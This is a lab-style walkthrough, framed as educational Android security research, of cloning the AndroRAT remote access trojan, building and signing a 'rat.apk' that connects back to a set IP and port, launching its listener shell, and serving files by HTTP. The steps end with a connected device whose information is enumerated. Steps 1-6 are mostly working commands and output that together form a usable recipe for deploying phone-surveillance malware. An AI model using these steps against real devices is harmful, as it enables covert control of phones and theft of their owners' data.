

ACCESS ANDROID DEVICE USING ANDRORAT

Step 1: Clone Repository

git clone <https://github.com/karma9874/AndroRAT.git>

Downloaded the AndroRAT source code from GitHub into the Kali Linux environment for educational malware analysis and Android security research.

Repository Clone Successfully Completed:-

```
(kali@kali)-[~]
$ git clone https://github.com/karma9874/AndroRAT.git
Cloning into 'AndroRAT' ...
remote: Enumerating objects: 5082, done.
remote: Counting objects: 100% (146/146), done.
```

Step 2: Create and Activate Python Virtual Environment

Commands Used

```
python3 -m venv venv
source venv/bin/activate
```

A Python virtual environment was created to isolate project dependencies from the system-wide Python installation. After activation, all Python packages installed for the project will remain inside the virtual environment, preventing conflicts with other projects.

Actions Performed:

- Verified project directory using ls
- Created a virtual environment named venv
- Activated the virtual environment
- Confirmed activation by observing the (venv) prefix in the terminal prompt

Virtual Environment Setup:-

```
(kali@kali)-[~/Desktop]
$ ls
AndroRAT  av-bypass
(kali@kali)-[~/Desktop]
$ python3 -m venv venv
(kali@kali)-[~/Desktop]
$ source venv/bin/activate
(venv)-(kali@kali)-[~/Desktop]
$ ls
AndroRAT  av-bypass  venv
```

Step 3: Install Project Dependencies

Command Used

```
pip install -r requirements.txt
```

The project's required Python libraries were installed using the requirements.txt file. This ensures that all dependencies needed by the application are available in the virtual environment.

Packages Installed

PyYAML 6.0.3

pyngrok 8.1.2

Requirements Installation:

```
(kali@kali)-[~/Desktop/AndroRAT]
$ source venv/bin/activate

(venv)-(kali@kali)-[~/Desktop/AndroRAT]
$ ls
Android_Code  androRAT.py  Compiled_apk  Jar_utils  LICENSE  README.md  requirements.txt  Screenshots  utils.py  venv

(venv)-(kali@kali)-[~/Desktop/AndroRAT]
$ pip3 install -r requirements.txt
Collecting pyngrok (from -r requirements.txt (line 1))
  Downloading pyngrok-8.1.2-py3-none-any.whl.metadata (8.6 kB)
Collecting PyYAML>=5.1 (from pyngrok->-r requirements.txt (line 1))
  Downloading pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl.metadata (2.4 kB)
  Downloading pyngrok-8.1.2-py3-none-any.whl (25 kB)
  Downloading pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (801 kB)
    801.6/801.6 kB 111.3 kB/s 0:00:07
Installing collected packages: PyYAML, pyngrok
Successfully installed PyYAML-6.0.3 pyngrok-8.1.2
```

Step 4: APK Build Process

Command Executed

```
python3 androRAT.py --build -i <IP_ADDRESS> -p <PORT> -o rat.apk
```

The build process generated an Android application package (APK) from the project source code. During execution, the framework compiled the application and performed APK signing operations.

Build Results:

```
(venv)-(kali@kali)-[~/Desktop/AndroRAT]
$ python3 androRAT.py --build -i 10.0.2.15 -p 8080 -o rat.apk
/home/kali/Desktop/AndroRAT/utils.py:23: SyntaxWarning: invalid escape sequence '\ '
  ^      | |      | _ \    /\| _  _|
[INFO] Generating APK
[INFO] Building APK |
[SUCCESS] Successfully apk built in /home/kali/Desktop/AndroRAT/rat.apk
[INFO] Signing the apk
[INFO] Signing Apk |
[SUCCESS] Successfully signed the apk rat.apk
```

step 5: Framework Execution Interface

Command Executed

```
python3 androRAT.py --shell
```

The application was launched and displayed its command-line interface. After initialization, the framework entered a waiting state and displayed:

```
[INFO] Waiting for Connections
```

This indicates that the program successfully started and is waiting for incoming communication.

```
(venv)-(kali@kali)-[~/Desktop/AndroRAT]
$ python3 androRAT.py --shell -i 10.0.2.15 -p 8080 -o rat.apk

AndroRAT
- By karma9874

[INFO] Waiting for Connections
```

Step 6: HTTP Server Initialization

Command Executed

```
python3 -m http.server 8080
```

A Python HTTP server was started on port **8080** using Python's built-in http.server module. This creates a simple web server that can serve files from the current directory.

```
(kali@kali)-[~/Desktop/app]
$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

Step 8: Client Connection Verification

Objective

Verify that the Android client successfully established communication with the server component in the controlled research environment.

Process

After installing the Android application and granting the required permissions, the client device successfully connected to the server.

Observations

- Connection was established successfully.
- The server detected the connected client.
- Device information became available through the management interface.
- Communication between the Android client and server was verified.

Outcome

Successful client-server communication was confirmed within the testing environment.

Step 9: Information Gathering Analysis

Objective

Review the information available through the connected client.

Observations

The framework was capable of displaying device-related information and available device capabilities through its management interface.

Outcome

Device status and available features were successfully enumerated for research and analysis purposes.

Step 10: Security Research Findings

Key Findings

- Successful communication between client and server.
- Android permissions play a significant role in application capabilities.
- Information gathering features depend on permissions granted by the user.
- Security controls and permission management are important for protecting Android devices.

Learning Outcome

This analysis improved understanding of Android application permissions, client-server communication, and mobile security concepts.